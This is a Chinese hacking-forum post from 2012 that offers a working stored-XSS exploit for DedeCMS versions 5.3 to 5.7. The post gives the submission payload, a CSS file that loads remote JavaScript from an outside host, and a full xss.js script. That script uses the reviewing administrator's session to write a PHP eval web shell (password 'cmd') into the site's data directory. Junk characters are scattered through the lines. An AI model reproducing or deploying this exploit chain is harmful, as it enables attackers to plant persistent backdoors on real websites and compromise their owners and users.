找回密码
 立即注册
查看: 2544|回复: 0
打印 上一主题 下一主题

dedecms xss oday通杀所有版本 可getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 13:56:10 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
<DIV id=read_tpc mb10?>漏洞原因:由于编辑器过滤不严,将导致恶意脚本运行。可getshell, ]7 {% Q9 d  Y$ L7 [  D" i% T
为什么说它是ODay呢,能getshell的都算OD把`(鸡肋发挥起来也能变凤凰)* K: b; b' C  T; Z
目前只是测试过5.3到5.7版本。其他更早的版本大家就自由发挥吧。+ Q8 K) y0 ^' B
下面说说利用方法。/ C- z9 i" o& i% |
条件有2个:6 a( p/ C% S- j" f. l" v0 B8 r" K
1.开启注册
$ W5 A' N0 Z6 x0 h2.开启投稿* M; D: ]9 C+ j1 x3 a
注册会员----发表文章/ H7 m7 c, n8 O+ F
内容填写:0 u6 E' v2 t. b: n
复制代码& p7 Q* N% ?9 V2 V3 s
<style>@im\port'\http://xxx.com/xss.css';</style>
# Z1 i, o1 Q9 n新建XSS.Css& y4 y- p: l8 C, C. t5 A
复制代码6 P; |! W3 f9 |- S+ |% ?6 j
.body{
& l! e4 Z4 t1 ^4 w/ T- l, ?background-image:url('javascript:document.write("<script src=http://xxx.com/xss.js></script>")') }
% P, n& y/ O  D& @# J8 U新建xss.js 内容为. {# M! f  `; R" ]3 J
复制代码
: q" ]8 E! c" z* Q1.var request = false;
  n& O8 m" L' g: O( Y5 {2.if(window.XMLHttpRequest) {
; t! u5 F! d6 ~2 x* k: H3.request = new XMLHttpRequest();7 P, O% H" T; ~7 @& Q: O$ D3 i2 s- O
4.if(request.overrideMimeType) {
( b  r; u3 A% r5.request.overrideMimeType('text/xml');8 b: J5 v# @% _2 r" q* j# F1 J
6.}
& W: p8 C2 ?! C2 M7.} else if(window.ActiveXObject) {
0 ^2 M6 j1 o; E8 t2 [- y8.var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];) D) x7 x! H' e! r
9.for(var i=0; i<versions.length; i++) {( T$ F6 X9 X2 j% p6 h  o+ A
10.try {
5 @  R  i5 J. z9 M11.request = new ActiveXObject(versions);
$ ], y" t' N" Z/ o0 d- U3 L5 ~12.} catch(e) {}0 X9 L+ f: W+ A! ]& ]9 h
13.}+ _% O- v" s/ M: L  k" B
14.}
- Y- W! n( f$ }, M3 K" d15.xmlhttp=request;
  K7 S/ q# q* }5 K; u' E9 g+ ~16.function getFolder( url ){
; N. y) b  [" z6 W17. obj = url.split('/')
, V- B5 B" j7 f" m4 ]18. return obj[obj.length-2]) O: K% e# w) ]" G$ f1 K
19.}
9 B% j9 \. A- {/ V20.oUrl = top.location.href;) u+ [- E/ z3 P8 C4 V. }
21.u = getFolder(oUrl);7 ^8 M8 }/ z& o1 R  l; U9 K7 e
22.add_admin();
. G, r- U5 H" G5 [23.function add_admin(){
( L/ g' Y! Z- R( `# t3 G; p5 u% l24.var url= "/"+u+"/sys_sql_query.php";
' K1 Q0 @& r# ^0 a( B$ }" M25.var params ="fmdo=edit&backurl=&activepath=%2Fdata&filename=haris.php&str=<%3Fphp+eval%28%24_POST%5Bcmd%5D%29%3F>&B1=++%E4%BF%9D+%E5%AD%98++";
0 j! u# f- J+ |- m& i26.xmlhttp.open("POST", url, true);
' V  d8 N- m1 T: i5 A, E: O27.xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");2 t7 t5 R/ B. i  @& ]
28.xmlhttp.setRequestHeader("Content-length", params.length);
6 o3 Q5 o5 U3 l% k29.xmlhttp.setRequestHeader("Connection", "Keep-Alive");# f* l( X) J) a) [
30.xmlhttp.send(params);( h. z2 V  K$ n" a0 J9 i7 O4 R0 I
31.}
& r- T8 f* C# Y/ |当管理员审核这篇文章的时候,将自动在data目录生成一句话haris.php。密码cmd
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表